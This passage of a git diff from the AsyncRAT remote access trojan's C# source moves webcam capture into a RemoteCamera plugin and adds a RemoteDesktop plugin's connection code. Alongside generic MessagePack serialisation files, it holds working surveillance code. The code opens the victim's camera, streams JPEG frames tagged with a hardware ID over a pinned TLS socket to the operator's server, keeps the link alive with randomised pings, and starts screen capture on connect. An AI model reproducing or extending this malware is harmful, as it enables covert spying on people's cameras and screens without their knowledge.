+ this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs similarity index 67% rename from AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs index edf7a08..39fb49b 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs @@ -1,33 +1,29 @@ using AForge.Video; using AForge.Video.DirectShow; -using Client.Connection; -using Client.Helper; -using Client.MessagePack; +using Plugin.MessagePack; using System; -using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; -using System.Linq; using System.Text; using System.Threading; -namespace Client.Handle_Packet +namespace Plugin { - public static class HandleWebcam + public static class Packet { - public static bool IsOn = false; + public static bool IsOk = false; public static VideoCaptureDevice FinalVideo; - public static string HWID = Methods.HWID(); private static MemoryStream Camstream = new MemoryStream(); - private static TempSocket TempSocket = null; private static int Quality = 50; - public static void Run(MsgPack unpack_msgpack) + public static void Read(object data) { try { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "webcam": @@ -36,52 +32,20 @@ namespace Client.Handle_Packet { case "getWebcams": { - TempSocket?.Dispose(); - TempSocket = new TempSocket(); - if (TempSocket.IsConnected) - { - GetWebcams(); - } - else - { - new Thread(() => - { - try - { - TempSocket.Dispose(); - CaptureDispose(); - } - catch { } - }).Start(); - } + GetWebcams(); break; } case "capture": { - if (IsOn == true) return; - if (TempSocket.IsConnected) - { - IsOn = true; + if (IsOk == true) return; + IsOk = true; FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; FinalVideo.NewFrame += CaptureRun; FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; FinalVideo.Start(); - } - else - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - } break; } @@ -112,9 +76,9 @@ namespace Client.Handle_Packet { try { - if (TempSocket.IsConnected) + if (Connection.IsConnected) { - if (IsOn == true) + if (IsOk == true) { Bitmap image = (Bitmap)e.Frame.Clone(); using (Camstream = new MemoryStream()) @@ -123,7 +87,7 @@ namespace Client.Handle_Packet EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); myEncoderParameters.Param[0] = myEncoderParameter; - ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg); + ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); image.Save(Camstream, jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); @@ -131,10 +95,10 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "capture"; msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); - TempSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); Thread.Sleep(1); } } @@ -146,7 +110,7 @@ namespace Client.Handle_Packet try { CaptureDispose(); - TempSocket.Dispose(); + Connection.Disconnected(); } catch { } }).Start(); @@ -159,7 +123,7 @@ namespace Client.Handle_Packet try { CaptureDispose(); - TempSocket.Dispose(); + Connection.Disconnected(); } catch { } }).Start(); @@ -167,7 +131,20 @@ namespace Client.Handle_Packet } } - private static void GetWebcams() + private static ImageCodecInfo GetEncoder(ImageFormat format) + { + ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders(); + foreach (ImageCodecInfo codec in codecs) + { + if (codec.FormatID == format.Guid) + { + return codec; + } + } + return null; + } + + public static void GetWebcams() { try { @@ -184,17 +161,17 @@ namespace Client.Handle_Packet { msgpack.ForcePathObject("Packet").AsString = "webcam"; msgpack.ForcePathObject("Command").AsString = "getWebcams"; - msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("List").AsString = deviceInfo.ToString(); } else { msgpack.ForcePathObject("Packet").AsString = "webcam"; msgpack.ForcePathObject("Command").AsString = "getWebcams"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("List").AsString = "None"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("List").AsString = "None-=>"; } - TempSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } catch { } } @@ -203,7 +180,7 @@ namespace Client.Handle_Packet { try { - IsOn = false; + IsOk = false; FinalVideo.Stop(); FinalVideo.NewFrame -= CaptureRun; Camstream?.Dispose(); diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Plugin.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Plugin.cs new file mode 100644 index 0000000..9fec2d9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Plugin.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..cd588c4 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("619b7612-dfea-442a-a927-d997f99c497b")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj new file mode 100644 index 0000000..03931e8 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj @@ -0,0 +1,90 @@ + + + + + Debug + AnyCPU + {619B7612-DFEA-442A-A927-D997F99C497B} + Library + Properties + Plugin + RemoteCamera + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + true + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop.sln b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop.sln new file mode 100644 index 0000000..5ae6a82 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop.sln @@ -0,0 +1,24 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "RemoteDesktop\RemoteDesktop.csproj", "{9042B543-13D1-42B3-A5B6-5CC9AD55E150}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7CFE40D5-9697-4707-BAFB-175B85AB7070} + EndGlobalSection diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs new file mode 100644 index 0000000..fb6d64f --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs @@ -0,0 +1,212 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient() + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.IsOk = true; + Packet.CaptureAndSend(30, 0); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Packet.IsOk = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ 